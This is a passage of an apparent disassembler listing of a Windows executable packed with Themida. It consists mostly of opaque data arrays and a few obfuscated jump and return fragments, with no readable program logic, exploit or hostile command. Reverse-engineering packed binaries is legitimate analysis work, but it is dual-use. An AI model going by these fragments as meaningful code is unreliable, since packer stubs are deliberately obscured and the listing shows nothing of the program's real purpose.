		dd 14409097h, 7DC80060h, 3C47182Eh, 2758A664h, 0A3020294h
		dd 5E68CFEFh, 967E40DCh, 9A047F2Ch, 0CB715124h,	6548E640h
		dd 0B2582A9Ch, 7D970066h, 3EB88536h, 58010076h,	0CF7E71C2h
		dd 0A001E279h, 850E4A6Ah, 10809EDAh, 13064BECh,	96794930h
		dd 7BB9EB0Fh, 4CECF411h, 29F2048Eh, 98CC8979h, 1C67C8Dh
		dd 0F902E650h, 0C8D13B76h, 50B036D6h, 69474808h, 8AA461h
		dd 3859BF76h, 0F30B7E6Dh, 0D023EB2Bh, 670D0520h, 888E0C52h
		dd 1D04A710h, 3EE7DCBCh, 53F7E0C0h, 82360075h, 277E76ECh
		dd 0DB7C15D4h, 0A42D24B8h, 31E460FBh, 17261934h, 207249D6h
		dd 592F47C0h, 11780ED5h, 0E09F7116h, 0F4A19C04h, 0C1C31027h
		dd 7FB7CFAh, 20FCA8Bh, 5A6B506Dh, 5807928Ch, 0CD5BE25Ch
		dd 0D9169ED2h, 0E07700E4h, 76273735h, 9628C800h, 0B2D88D55h
		dd 7E953B38h, 6F589000h, 0F282A169h, 6D9C5409h,	681653h
		dd 363FCB70h, 1C593773h, 288FFD02h, 6011B327h, 1C5BFAC4h
		dd 6CD085h, 0C0A90EAEh,	820EEBD6h, 84FB2519h, 54802BB9h
		dd 0EE758A8Eh, 3AA50091h, 111D4E88h, 0E8001BC3h, 4D666BD5h
		dd 6DC872h, 3674C6E9h, 928DE65Ch, 7A551B18h, 3F01EB48h
		dd 7F6F7AAh, 8D7D4CCEh,	478B405Ah, 78C02281h, 6BF5FBB9h
		dd 0C1960359h, 0E4253918h, 5B0D8900h, 20C358A0h, 74050084h
		dd 0D6F777D1h, 376055D2h, 92724941h, 1103607Dh,	0E804F7C6h
		dd 757A3Fh, 0AC65AF18h,	3A934235h, 0A13E1E76h, 7CC02B01h
		dd 0D0DBF62Eh, 12065E8Dh, 2C679F8Bh, 33630048h,	0E8CF84A4h
		dd 3103269Ch, 5925D2B6h, 6A65A0BCh, 1A82004Dh, 0BD84DA1Fh
		dd 7A0F76CFh, 36B53Dh, 0A9CA1ED8h, 51C9619Ah, 0C05A24ABh
		dd 920034B2h, 8B0C96ADh, 0A121262Fh, 2DD07EFEh,	5F130E67h
		dd 395853D6h, 6A05DA04h, 0E32538ADh, 3D368C40h,	0ABB3AE9h
		dd 3966F51h, 9D7E40B8h,	12036324h, 99A5B164h, 0B49009Fh
		dd 0F7C5CD54h, 910C71AAh, 51D88367h, 0EB10C072h, 42C67E29h
		dd 184835F0h, 744C008h,	0E23C7343h, 308EE3Ah, 0AE6A37CDh
		dd 84887D61h, 1800E0BAh, 2B6FD3A8h, 0CF42694h, 999F89C3h
		dd 813E2781h, 0D58A87F5h, 0CCFA396Ah, 0BD6FD200h, 504406Bh
		dd 80B88BCAh, 8CE4471Bh, 0CEEE3058h, 8400EAABh,	471DDDE7h
		dd 1777B62h, 3DDAF556h,	48045F50h, 5B00F780h, 4A8555C7h
		dd 621D160h, 0D31B7D18h, 0B9018903h, 80DF934Ch,	20805C2Dh
		dd 38FA08ACh, 0F1C0DD24h, 0E3CE700Dh, 39E775B0h, 122EC515h
		dd 9CF90C1Bh, 0AD0AFB49h, 0CC528508h, 47327160h, 6FD70E6Bh
		dd 0A7207C20h, 9943C88Eh, 2D398360h, 1B30C80h, 16FAF05Ah
		dd 0D9D732B1h, 87218064h, 0BCB4954h, 75020EC7h,	0C35FB2AFh
		dd 0FCD5BC1Fh, 0F0F02996h, 1CD18A12h, 9DAB8420h, 24391863h
		dd 0DEDD91FCh, 6C539B00h, 9894C8F7h, 3EA10061h,	0E9BED5A9h
		dd 283C7F5Ah, 0E0993E4Bh, 479F5259h, 0AB7113FEh, 9BD006Ch
		dd 2510DF7Eh, 4D0090A4h, 0C6233C4Eh, 12ADFAD8h,	3145EE0Dh
		dd 60DB90DCh, 0B7019F62h, 8DA0E90Bh, 0B704296h,	6AF41F85h
		dd 0B4790EE6h, 599437A0h, 76000ED8h, 7D21A56Bh,	0F847F8B3h
		dd 0EACB002Fh, 1B3265ADh, 7CE09073h, 687D1C01h,	90475AEh
		dd 864FFC50h, 6A0A3F48h, 0D5A83B80h, 0CEAEF0F3h, 737DFC7Dh
		dd 31F4D8A1h, 4588923Eh, 43DCA201h, 0A0502681h,	0BE0304h
		dd 0A6B0EA6Eh, 30EEDBF5h, 94236300h, 0F2F4A3A2h, 0ABF0C221h
		dd 94406BE0h, 4B383590h, 19896103h, 0BAF83FC5h,	8FCE042Ah
		dd 8824BFDDh, 0B100FC10h, 6A233DCCh, 128AB0A1h,	84A1147h
		dd 689F992Ch, 0E131EA1Bh, 58A8B87Eh, 6C940238h,	0D9AC633Fh
		dd 0E0356B20h, 11F06024h, 4D28A912h, 0A849FE30h, 71D3F4F3h
		dd 9D0124D5h, 6FCFC25Ch, 50968481h, 308430E2h, 0E58E748h
		dd 4408028Dh, 0D8C05197h, 0C0F22490h, 431FCD61h, 33F1A6Ch
		dd 0DED41E72h, 1DCA4C02h, 80886394h, 14ACAF5Dh,	64AE6322h
		dd 200E041Dh, 4CBA1603h, 0F0FFFED6h, 284B02EDh,	48471A2h
		dd 8118ABACh, 0C1B9031Ch, 9DB4D0E5h, 7423005Ch,	0BEE130A0h
		dd 15030578h, 0CEA2429Eh, 0AAC8016Eh, 8DD63647h, 39E980D7h
		dd 79F8DAE1h, 0A86A0B25h, 5C00D435h, 7B04735Ah,	8BCB91C6h
		dd 2EA20464h, 889F7444h, 0B1709E84h, 6B859101h,	3753D310h
		dd 225606FCh, 0C300F025h, 5188470Ch, 0C0E677D3h, 6AC05E60h
		dd 4209A792h, 1BECE86h,	0D4E57D14h, 5AC3B440h, 0ECD15404h
		dd 818F0025h, 0D3F53484h, 5500F40Bh, 4C6FE2F7h,	0C07D0431h
		dd 9AE5E7A9h, 5502BEC8h, 2DE941C7h, 6D24A04Fh, 3B7E39h
		dd 65C4577h, 0EFB76371h, 0CC26A9DFh, 173EE0Bh, 8DD5F358h
		dd 0AF062C23h, 0F9CB989Ch, 0AD1CC4F6h, 2280842Fh, 4BA0E175h
		dd 502B8E8h, 820FB6E5h,	0BFA02003h, 0ECE19312h,	0E507DCDFh
		dd 0F8AD1820h, 9AAB4D30h, 7B17547h, 786F1A8Bh, 801F8477h
		dd 42234348h, 0DFFE8500h, 0C5D72CACh, 0FB100AEh, 3C2FB870h
		dd 0D56025FCh, 622758C1h, 0C4A700AAh, 119904CCh, 6A747E2Ah
		dd 63CE5900h, 6B753625h, 12B00391h, 1B13203Ch, 0A90226E3h
		dd 52930CB2h, 0E076C01Ah, 2C589021h, 47B4A6D6h,	10A33068h
		dd 0A2179363h, 2820800Fh, 36FE381h, 9D270E8Ch, 19002F7Eh
		dd 0C0D12BC6h, 451B171h, 8899F59Bh, 5810C00Eh, 8A759864h
		dd 0A4336B24h, 9C015B1Fh, 83256F3Eh, 0FC3444FAh, 2881F87Fh
		dd 0CA69D70h, 8759772Eh, 1D76AA88h, 311BDF0Fh, 6ACAA73Ch
		dd 0DC889AC5h, 0FAC60071h, 6D12987Fh, 0D32EA995h, 0AC43ACE7h
		dd 0C9A2E0F5h, 0C70E218Dh
		dd 7BB39480h, 2DB1DE5h,	234CF548h, 2C809B63h, 9A67D4C9h
		dd 0D611F162h, 27CCCFAh, 4C1EB8AAh, 800F7804h, 3CF737D2h
		dd 48B47BE5h, 6000733Ah, 0CE116297h, 6C283BCDh,	5E48844Dh
		dd 4C785888h, 0E60280F4h, 0FA1CCE31h, 1D5B00E2h, 0C68EA3Ch
		dd 621AC2B5h, 4089EE84h, 1C4FD6FCh, 26D3CDh, 817648A2h
		dd 7F306F2Ah, 62435104h, 0EEDA06E3h, 701DACA0h,	7EFACD00h
		dd 0C558B8E4h, 81F00096h, 0B343D621h, 1B48E1AFh, 2498F4Ch
		dd 9856D19Dh, 5E7F2A4h,	0D42F3321h, 0FD0C4220h,	4BE0E646h
		dd 90A8A09Ah, 0E30072C2h, 7523C2Dh, 56701Ch, 0BC59224Ch
		dd 58ED0D02h, 390FAD1Eh, 359672C0h, 0F415477Fh,	8E6C005Eh
		dd 0B7E07CFDh, 0CF883080h, 0FDA6724Eh, 0FBBB1281h, 30564D77h
		dd 502E77Ch, 2B356A82h,	0E0D46425h, 0ACFC0023h,	5F0D81A3h
		dd 0EE1815F9h, 9D21D625h, 0C08D0088h, 9EA858C2h, 37021DADh
		dd 0C523601Fh, 70FC9125h, 0F61A5FCh, 63E8BF1Eh,	0D503E600h
		dd 1F58243Ah, 3E41031Ch, 9921D359h, 0A3DCB1F6h,	4DAF805Ah
		dd 34FF0426h, 0C3541780h, 3ABF189h, 8D429869h, 8007CDEh
		dd 72B7D6ADh, 0B059F9h,	3B6B74A3h, 9A2B7904h, 0D5009CB9h
		dd 3EE9C1F6h, 2C11F8C5h, 80CEE5h, 2AA30224h, 98A80580h
		dd 300F3E3h, 689BC939h,	60047836h, 918C89D2h, 4800D710h
		dd 0DB796FB5h, 3B44622Eh, 4F0160B2h, 9CBB5923h,	0D69930AAh
		dd 24AB6B0Ah, 358E8868h, 2E84A062h, 1CF1507h, 22765027h
		dd 83869861h, 80C61BA9h, 6CF9C8D5h, 0B7B2008Dh,	0AAF040C4h
		dd 0B6036D4Dh, 1020D2AFh, 0E6D580ADh, 9A3226D1h, 1FC342C0h
		dd 0BBE9A160h, 932E3900h, 6B9545BCh, 25460E2Ch,	98C0B19Bh
		dd 0C532DC9Ah, 645C0F24h, 44608B17h, 18F1620h, 28E58668h
		dd 2093F385h, 0E3AE784h, 290D341Bh, 13B6D4C2h, 0D478F024h
		dd 8495A701h, 18651C0Ah, 8A29444h, 951E0D00h, 7C8A137Fh
		dd 0AFDCC900h, 828E2E0Eh, 0D5DE14DBh, 7E2E6802h, 0AE8444B0h
		dd 5AEE580h, 5E2B00C7h,	1159FF9Bh, 0D8004C34h, 10688B88h
		dd 12AFC1B5h, 2003E807h, 0A0D4F920h, 10FDDF00h,	217B8724h
		dd 906C0049h, 0E0F1634Bh, 0A60694FAh, 0A5A96837h, 770330A9h
		dd 0CE6A8CE9h, 63D0478h, 7E1EF91Ah, 0D18075FFh,	81870E7Bh
		dd 0A06B03F1h, 29912F52h, 2C5973D2h, 0FFAB7D00h, 658ACCAh
		dd 2748863Ch, 9F0093BAh, 0DB591A8Eh, 4C67D23Dh,	50C49CA1h
		dd 7354409Dh, 91F7BF02h, 0FCFE80C4h, 8BB17755h,	5EE6503h
		dd 9972BE07h, 0D833973Dh, 91319300h, 0BD0DC530h, 0F0F59812h
		dd 0BC338C20h, 324D0765h, 0BF9F92AAh, 55D18D83h, 7CB9212Eh
		dd 6F1B2882h, 6EC2875h,	118603EDh, 9426DD01h, 4A306F47h
		dd 724D34F8h, 0B8DA01A7h, 0D43DBDB5h, 6299D405h, 0B0C059DDh
		dd 38C62576h, 9A770056h, 79EA075Fh, 0FE00F9ADh,	493A5DC4h
		dd 1D68C6Eh, 0CE1BBDCBh, 72AF6797h, 4134504Ch, 13C648h
		dd 83EA9569h, 4EAA28B4h, 0BB5C419Ah, 0DCE2F51Fh, 8F1D71FAh
		dd 3B0A5E0Dh, 0D460A419h, 1735C27Dh, 8C4FFEh, 5A6B215h
		dd 84EDECDh, 0D4366800h, 0DE9E9F8Ah, 0A2BA8059h, 0C39BE4F3h
		dd 0FD30F900h, 0ADAE8D8Bh, 0AC660A0Bh, 494F20Ah, 889AA9F6h
		dd 8C0089F0h, 76B7D7BAh, 1E5771A5h, 0C10BB9DFh,	5FB53EDDh
		dd 0C416714Ch, 0DC30B0ACh, 9255F918h, 6B5D0B7Eh, 30048C5Fh
		dd 0FCAB4037h, 90E703D3h, 429439B4h, 3836AD19h,	1B0C383h
		dd 98B8D65Fh, 0E8F886FEh, 2F02C0B9h, 0E8C94960h, 7BA9D35Ch
		dd 20940C67h, 0F9611A81h, 6187EE04h, 40803384h,	13CF52ABh
		dd 0C8557FB3h, 0EEEEDB78h, 19009D79h, 1D22420Eh, 0FC7383A2h
		dd 3C215CA7h, 0D618DD22h, 0B539D954h, 6CB124ACh, 678A05C0h
		dd 0D263C0C9h, 8F3BA3F5h, 0DE24980Fh, 5A0FB39h,	6703DD02h
		dd 3ACC0D6Fh, 0B0A9D06Ch, 0BE861B18h, 96F108C0h, 0BFE98088h
		dd 0AEEEB331h, 36431007h, 81959FDFh, 3E58C4C8h,	0A29FA3E6h
		dd 64448338h, 0B02269C6h, 0AC98DCh, 21098B85h, 0F295AD12h
		dd 2479913Bh, 0BA40689Ah, 7E5AE4h, 5E503898h, 52CB8D2Fh
		dd 696025FEh, 36A86B49h, 90A60038h, 0AC3F50BDh,	4F0079EFh
		dd 0F23C44D7h, 0D637B4h, 95AE7E7Ah, 6B1BD207h, 25B1C8F3h
		dd 0B1606845h, 0AE9B1DE5h, 2AED0041h, 0CC6F6396h, 0CA0E44B8h
		dd 80578271h, 70868102h, 0A8014CD6h, 82241B0h, 0C7001AE8h
		dd 0E1515CDCh, 7C544C04h, 2CA0E03Fh, 608C4AFDh,	0A4C1B420h
		dd 0D3074C01h, 9771D090h, 1ED41070h, 80BC55ACh,	0D676C7EDh
		dd 71C0CFA6h, 0B93B7F19h, 27224B49h, 0F3DA60E4h, 0A0011DDh
		dd 3AFCF1E4h, 47B134h, 20DAFFAh, 0FBD5A28Ch, 78811C94h
		dd 0BD5680EAh, 4D1DD82Ch, 0C5A5002Fh, 0FB2820C9h, 5003AD24h
		dd 4FA3013Ah, 1C382459h, 95D9DAD1h, 72CA2AF9h, 0FE0A00F8h
		dd 8AE0F7DEh, 3302B1D3h, 30ED6CB5h, 0D838437Fh,	0E8E9318h
		dd 824D3920h, 0ED500092h, 15C655CCh, 0A4EFC93Ah, 0D120F88Ch
		dd 0D9B8FE35h, 2EABA400h, 300BC9B2h, 35B03913h,	0D60A4773h
		dd 0C42BB7F5h, 0F2002991h, 9505FA2Fh, 0F89999D3h, 69708C00h
		dd 6E6733h, 30714B7Bh, 5F62360Ah, 0E49048D3h, 1C9506Bh
		dd 9ADFAF2h, 205D5285h,	4A189618h, 8B99D404h, 3FB700BFh
		dd 0E9B085C6h, 0D11EA791h, 502469C8h, 664E6Fh, 9F1CAECAh
		dd 7B33005Eh, 13719A61h, 0BC090E21h, 0C44C1874h, 93870080h
		dd 7DE41475h, 0A7097C9Dh, 2FF3A8Fh, 11DCB6F8h, 367C40A6h
		dd 6800DD88h, 5658EAB8h, 1CAD765Ch, 947EFA0Fh, 281DE406h
		dd 186066BBh, 5394D890h, 0B695D700h, 0D64EC2F4h, 0BC2CF17Eh
		dd 44989889h, 8C076385h, 31246B6Ch, 0BA763C70h,	961D05B2h
		dd 3889FECh, 89B62D1Ch,	2BA7CDB8h, 8A4B4F00h, 49D4CB19h
		dd 7C6F0031h, 0AE9AB494h, 482E7EBBh, 8A416024h,	9260EF35h
		dd 0F1E51CD0h, 4688051h, 0A1866FAEh, 900252h, 0F677B209h
		dd 0B1B72126h, 0DFFE8398h, 0D8E88BD9h, 0E002068h, 30586A7Ah
		dd 0E9D4BA84h, 2341E8C3h, 58B27D10h, 6F190420h,	0D9D34180h
		dd 663860F2h, 986C4D00h, 0CFCD781Eh, 2C1D497Dh,	64E1ED00h
		dd 0B807CB4Bh, 80C9213Dh, 0F5D3D4Fh, 0D33625h, 0C435E3A1h
		dd 0B0696E5Bh, 94E1416Ah, 71340D60h, 21BE0072h,	12EBD37h
		dd 0F87BD50Bh, 0AFE78701h, 94CEEAF9h, 0B050DB30h, 0D5CA0878h
		dd 0FB809C53h, 679D837Fh, 2B99C0B8h, 89DC2FD7h,	7DDD090Ch
		dd 1E1928h, 0B5A9ED7Ch,	25E46E02h, 62FFFB00h, 169513F2h
		dd 0D2480033h, 8D7D12A7h, 8DE4A23h, 7F2C90ADh, 0B8909Ch
		dd 0A70D4E5h, 7E652330h, 8D100E00h, 6EC5CE56h, 977604A4h
		dd 0F4034CA0h, 0D026BB90h, 7F143E54h, 0B55E0048h, 0B0234F41h
		dd 0BD8C00ADh, 8D438ED1h, 402177Bh, 1D975947h, 0B427415Eh
		dd 28B824E0h, 9C90C038h, 0AFFB800Ch, 337DA79Dh,	0C2CC9616h
		dd 0B84B888h, 60165936h, 0D400A064h, 554DAE2Eh,	38F6305h
		dd 0CAE21052h, 0A78AD5F3h, 682D1472h, 84E428A9h, 5A1B9904h
		dd 80DE1089h, 549E7614h, 0A6D5003Bh, 9196A794h,	8B82016h
		dd 0A9AD6C05h, 0A8007CE1h, 8C01BEAEh, 0F074FF30h, 0B8D32002h
		dd 0D00D09Ch, 3EEC408Dh, 0FD080280h, 84024551h,	0D20EFCD0h
		dd 4EC74A5Fh, 37F2D6h, 80BECB30h, 4AB18822h, 0C6E13E0Bh
		dd 0D45807C1h, 60F9B7E2h, 0FEA08CE0h, 0CFCC046Bh, 0C1A78FB9h
		dd 21D19714h, 6505F8A3h
		dd 0AA431F13h, 84B00C02h, 0AB146149h, 0D12030h,	0B6EBF9EEh
		dd 752358F5h, 66562913h, 0F481811h, 2809E195h, 3ADA8027h
		dd 5B0B20Ah, 360454C7h,	490FC0A0h, 201F46Ah, 7FFA87E5h
		dd 0B046DF6Bh, 5438034Fh, 79520219h, 49AD95F3h,	0D4A0B8D9h
		dd 65748E7Bh, 60F9E61Ch, 7CC54800h, 2476A842h, 4E04F0D4h
		dd 0FA1C5584h, 2610BD87h, 27837D92h, 308297B7h,	0DCF9DB6Fh
		dd 0DEBAC307h, 5B41BFB0h, 9E9F22B2h, 6936901h, 881ED886h
		dd 526675F4h, 0FFFF01CCh, 60FBh
		db 3 dup(0)
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR start


loc_579A2F:				; CODE XREF: start:loc_513265j
					; DATA XREF: start:loc_513086o
		jmp	loc_57CF4C
; END OF FUNCTION CHUNK	FOR start
; ---------------------------------------------------------------------------
		align 8
		dd 98h,	5 dup(0)
		dd 283DB0C1h, 3	dup(0)
		dd 400000h, 0Bh	dup(0)
		dd 1D2FFB0h, 1Bh dup(0)
		dd offset loc_5C93A4
		align 10h
		dd offset loc_5C5106
		dd 2 dup(0)
		dd 12D392h, 3 dup(0)
		dd 0CEh, 7C90EBBFh, 0
		dd offset dword_5A463C
		align 10h
		dd 7C90EB94h, 9	dup(0)
		dd 2 dup(22222222h), 7 dup(0)
		dd 8Bh,	2 dup(0)
		db 90h
		db 12h,	0F2h, 76h
		dd 6 dup(0)
		dd offset loc_5B4769
		dd 0
; ---------------------------------------------------------------------------
		xchg	eax, esp
		jmp	short near ptr dword_579C34
; ---------------------------------------------------------------------------
		db 44h
		dd 8Bh,	0Ah dup(0)
		dd 665DB524h, 0
		dd 2AE38E7Bh, 0Ch dup(0)
		dd 400000h, 7C254779h, 0
dword_579C34	dd 3 dup(0)			dd 0E2F7h, 7C90EB94h, 0E35189D4h, 2 dup(0)
		dd offset word_5C631E
		dd 2 dup(0)
		dd 21D000h, 6777h, 0
		dd 7C90EB94h, 5	dup(0)
		dd 0FFA46211h, 7 dup(0)
		dd 836F146Ch, 0
		dd 3518h, 3 dup(0)
		dd 7Ch,	0
		dd offset byte_5C59C9
		dd 3 dup(0)
		dd offset loc_5F156D
		dd 0F9689CE2h, 2 dup(0)
		dd 84h,	0
		dd 7C90EE18h, 2	dup(0)
		dd 0B19417h, 5B3644h, 0
		dd 0FFFFFFFFh, 3 dup(0)
		dd 0FFED2C6Eh, 2 dup(0)
; ---------------------------------------------------------------------------
		retf
; ---------------------------------------------------------------------------
		db 38h,	5Dh, 0
		dd offset byte_5B08A7
		dd 0
		dd offset word_5EEC06
		dd 0
		dd 7C90EB94h, 3	dup(0)
		dd 0E35189D4h, 2 dup(0)
		dd 7C90EB94h, 0
		dd 0B3h, 0
		dd offset word_5E837E
		dd 4 dup(0)
		dd 77DDEBE7h, 6	dup(0)
		dd 142FFB0h, 0
		dd 7C85A016h, 2A000h, 5DB4h, 5B4559h, 6	dup(0)
		dd 1B2FFB0h, 0
		dd 7C812A09h, 2	dup(0)
		dd 0FFC00000h, 4 dup(0)
		dd offset byte_5A9CF7
		dd 2 dup(0)
		dd offset loc_5FCAA1
		dd 26D0000h, 25C6DD4h, 7 dup(0)
		dd 1, 0E9A82DF2h, 3 dup(0)
		dd offset dword_5CB544
		dd 0Dh dup(0)
		dd 0B41CF7h, 0
		dd 4633h, 0Fh dup(0)
		dd 0B1AAA1h, 981062h, 0B91B695Ah, 0B48B0Dh, 2 dup(0)
		dd 175C28h, 0
		dd 400000h, 0
; ---------------------------------------------------------------------------
		push	eax
		retf	57h
; ---------------------------------------------------------------------------
		align 10h
		dd 7C814AF2h, 0FE2940F3h, 0
		dd 18B9547Ch, 2	dup(0)
		dd 7C90EB94h, 5950h, 3 dup(0)
		dd 0FFA15E9Ah, 1AA7D65Dh, 2CDF26ECh, 12h dup(0)
		dd 6A20h, 6 dup(0)
		dd 0E8Ch, 5 dup(0)
		dd 7C80180Eh, 12FEC8h, 5 dup(0)
		dd offset byte_5D0F8D
		dd 7C916315h, 2	dup(0)
		dd 56Dh, 74h, 0B0h, 0
		dd 129AB8Ch, 0
		dd 8C7A6B9Ch, 2	dup(0)
		dd 7C863F58h, 4	dup(0)
		dd offset word_5B5CDE
		dd 4 dup(0)
		dd 28E3h, 1Ch dup(0)
		dd 0B18EE4h, 3 dup(0)
		dd 0FFFF9730h, 0
		dd 0A47BB7C5h, 0
		dd 77DDEE5Ah, 4	dup(0)
		dd 110000h, 4 dup(0)
		dd offset dword_57A6BC
		dd 129AB8Ch, 0B48B0Dh, 0FFFFA4B8h, 57C1CCh, 7 dup(0)
		dd offset loc_5DB6AE
		dd 2 dup(0)
		dd 0A9F9FCh, 0FFA4C9BCh, 0
		dd offset loc_5D1204
		dd offset loc_5CA37F
		align 10h
		dd 8312D562h, 2	dup(0)
		dd offset dword_57B29C
		dd 2 dup(0)
		dd 5A2F1A42h, 7	dup(0)
		dd 0B71E69h, 25F00FFh, 3 dup(0)
		dd offset loc_5CE3FB
		dd 77DDEDE5h, 2	dup(0)
		dd 144BA8h, 5 dup(0)
		dd 7C90EB94h, 8	dup(0)
		dd 7E410000h, 2	dup(0)
		dd 1, 0
		dd 750BC377h, 59856574h, 0Ah dup(0)
		dd 50h,	0
		dd 7C801D77h, 57B7C0h, 4 dup(0)
		dd 766B5D9Eh, 5	dup(0)
aIaps		db 'IAPS',0
		align 4
		dd 5 dup(0)
		dd 0E984AD33h, 0
		dd offset dword_5EEC7C
		dd 3 dup(0)
		dd 89ACh, 0Eh dup(0)
		dd 0A8h, 5EEA73h, 2 dup(0)
		dd 0D64BE35h, 2CDF26ECh, 5 dup(0)
		dd 7FFFFFFFh, 2	dup(0)
		dd 7D1h, 2 dup(0)
		dd 0B1FA03h, 0B11920h, 30DFh, 0
		dd 6A0652EFh, 9	dup(0)
		dd 1, 6	dup(0)
		dd 23E4h, 6 dup(0)
		dd offset loc_5FC7A8
		dd 3 dup(0)
		dd 836F146Ch, 2	dup(0)
		dd 660188FBh, 7	dup(0)
		dd offset dword_57C208
		dd 4 dup(0)
		dd 2Ch,	0B10A25h, 836F146Ch, 2 dup(0)
		dd 0C246DA44h, 3 dup(0)
		dd offset unk_511000
		dd 75D91624h, 0FF4E05FDh, 8 dup(0)
		dd 7C90EB94h, 9	dup(0)
		dd 0B11A3Ch, 9 dup(0)
		dd 1, 0
		dd 76B40000h, 0
		dd 0B22493h, 400579FDh,	7C90EB94h, 0Ah dup(0)
		dd 370h, 5FC7A8h, 8 dup(0)
		dd 6880ED7Ch, 2	dup(0)
		dd offset word_5F0A82
		align 8
		dd 0FEBEE61h, 0
		dd 113000BAh, 0
		dd 9DEFh, 0
		dd 81A52E24h, 3	dup(0)
		dd 341682F4h, 2	dup(0)
a8jmm		db '8JMM',0
		align 4
		dd 2Ah dup(0)
		dd 7C90EB94h, 0
		dd 12E8h, 6 dup(0)
		dd 0FFFE946Ch, 26F0000h, 7DC1h,	2 dup(0)
; ---------------------------------------------------------------------------
		dec	edi
		mov	byte ptr [esi],	73h
		jmp	near ptr dword_57A624
; ---------------------------------------------------------------------------
		align 10h
		dd 9 dup(0)
		dd 0E3230388h, 2 dup(0)
		dd 99B1h
dword_57A624	dd 5 dup(0)	; ---------------------------------------------------------------------------
		retf	6020h
; ---------------------------------------------------------------------------
		align 4
		dd 6 dup(0)
		dd offset loc_5B3644
		dd 5 dup(0)
		dd offset dword_5CFB64
		dd 0B1180Fh, 348h, 2 dup(0)
		dd 84832887h, 2	dup(0)
		dd 0EE7C8D8Dh, 0
		dd 110B5Fh, 9 dup(0)
dword_57A6BC	dd 0							; Themida_:0057C27Co
		dd 129AB8Ch, 0Ch dup(0)
		dd 7C90EB94h, 7	dup(0)
		dd 0B086h, 3 dup(0)
		dd 1610Ch, 6 dup(0)
		dd 1B2FFB0h, 14h dup(0)
		dd 73859464h, 0
		dd offset sub_5D3167
		dd offset sub_5B2328
		dd offset sub_5B8B74
		dd 0
		dd offset sub_57D567
		dd 0FFFF6617h, 0B42878h, 0
		dd 7C804722h, 0
		dd 8EA5h, 57CA50h, 4 dup(0)
		dd 7C90DDF9h, 6	dup(0)
		dd offset word_5BED76
		dd 7C809B47h, 5	dup(0)
		dd 0FFFFFF1Ch, 0C10000h, 3 dup(0)
		dd 146Ch, 3 dup(0)
		dd 123644h, 0B1AEA1h, 12E07CF9h, 2 dup(0)
		dd 7C80ADA0h, 6	dup(0)
		dd offset byte_5B4711
dword_57A86C	dd 0A9C530DFh, 66h dup(0)					; Themida_:0057C278o
		dd 12FE80h, 0Dh	dup(0)
		dd offset dword_57C1CC
		dd 7C900000h, 0
		dd 12FEC8h, 8 dup(0)
		dd 41B44B2Bh, 0DE047DB5h, 0
		dd 0A9C530DFh, 0
		dd offset dword_5E68BC
		dd 0
		dd 180Fh, 57CA50h, 4 dup(0)
		dd 58C8840h, 5B427B15h,	7C90EB94h, 2 dup(0)
		dd offset loc_5BAA77
		dd 5B266D5Dh, 2	dup(0)
		dd 7C80003Eh, 5C631Eh, 2 dup(0)
		dd 0DB57h, 7 dup(0)
		dd 0A3D24694h, 4 dup(0)
		dd offset byte_5B89BB
		dd 0B48B32h, 3 dup(0)
		dd 7Ch,	5BFDFFh, 0B10E24h, 5C41A9h, 5AD3BEh, 8 dup(0)
		dd 836F11E8h, 280h, 6 dup(0)
		dd offset sub_57D567
		dd 6 dup(0)
		dd offset loc_5D312E
		dd 0FFFFA4B4h, 1D25CD95h, 0Ch dup(0)
		dd offset byte_401000
		dd 3 dup(0)
		dd 898648FEh, 0
		dd 4D84D320h, 11h dup(0)
; ---------------------------------------------------------------------------


loc_57AC2C:				; DATA XREF: Themida_:0057C0A8o
		mov	eax, 0
		or	eax, eax
		jz	short loc_57AC38
		retn	18h
; ---------------------------------------------------------------------------


loc_57AC38:				; CODE XREF: Themida_:0057AC33j
		mov	eax, [esp+0Ch]
		push	ebx
		call	$+5
		pop	ebx
		add	ebx, 17h
		mov	[esp+10h], ebx
		mov	[esp+14h], eax
		pop	ebx
		mov	eax, 0B1FA37h
		jmp	eax
; ---------------------------------------------------------------------------
		mov	eax, [esp+4]
		jmp	eax
; ---------------------------------------------------------------------------
		align 10h
		dd 13h dup(0)
		dd 77DD7883h, 4	dup(0)
		dd offset word_5DF622
		dd 27h,	0FFA14313h, 3 dup(0)
		dd 2000h, 5EFE3Fh, 9 dup(0)
		dd 0CE8h, 6 dup(0)
		dd 660188FBh, 6	dup(0)
		dd 0B8h, 9 dup(0)
		dd 2156F4E7h, 2	dup(0)
		dd offset loc_5BFC03
		dd 5 dup(0)
		dd 0D071C8h, 5 dup(0)
		dd 2CD0A45Fh, 0B1A8CFh,	5B2328h, 5 dup(0)
		dd 6DE28D8h, 6D656854h,	616469h, 1Eh dup(0)
		dd offset dword_5CA6E4
		dd 5 dup(0)
		dd 89645C60h, 0FFA355F1h, 6 dup(0)
		dd offset loc_5BA5FB
		dd 0
		dd 0B18B28h, 5C7171h, 15h dup(0)
		dd 675DD1FEh, 0
		dd offset byte_5B6219
		dd 6 dup(0)
		dd 2CDF26ECh, 6	dup(0)
		dd 7C90EB94h, 1, 8 dup(0)
		dd 0B18E51h, 0FFFFFB04h, 5 dup(0)
		dd 19h,	6 dup(0)
		dd 0FFFFBFFFh, 30DFh, 4	dup(0)
		dd 0DBC51B0h, 1, 24242424h, 1Ah	dup(0)
		dd 0D2943FFAh, 0
		dd 186B6511h, 3	dup(0)
		dd 1, 2	dup(0)
		dd 12FFE0h, 5C5EDDh, 0
		dd 3EFCh, 3 dup(0)
		dd offset word_5E156A
		dd 0Ch dup(0)
		dd 4918ED0h, 0
		dd 7FDD3FFCh, 0D3D4E0A3h, 2 dup(0)
		dd 56006A60h, 2	dup(0)
		dd 0FFFFFF40h, 245C262h, 2 dup(0)
		dd 7C800000h, 0
		dd 58D8h, 665DB524h, 8C7A6B9Ch,	0Ah dup(0)
		dd 0CE85A301h, 5E8D52h,	0
		dd offset byte_5ED535
		dd 3 dup(0)
		dd 7C8111DAh, 0Dh dup(0)
		dd 692041Bh, 0
		dd 557h, 2 dup(0)
; ---------------------------------------------------------------------------
		mov	al, 0FFh
		retn	3801h
; ---------------------------------------------------------------------------
		db 0B5h, 5Fh, 0
		dd 7 dup(0)
		dd offset loc_5B2585
		dd 4 dup(0)
		dd 7C810A77h, 0A9C530DFh, 3 dup(0)
		dd 0B063h, 3 dup(0)
		dd 7C90EB94h, 77DD0000h, 5BED76h, 0C8h,	2 dup(0)
		dd 665DB524h, 0Bh dup(0)
		dd 0E24A3D57h, 0
		dd offset loc_5BCFA1
		dd 2530000h, 5 dup(0)
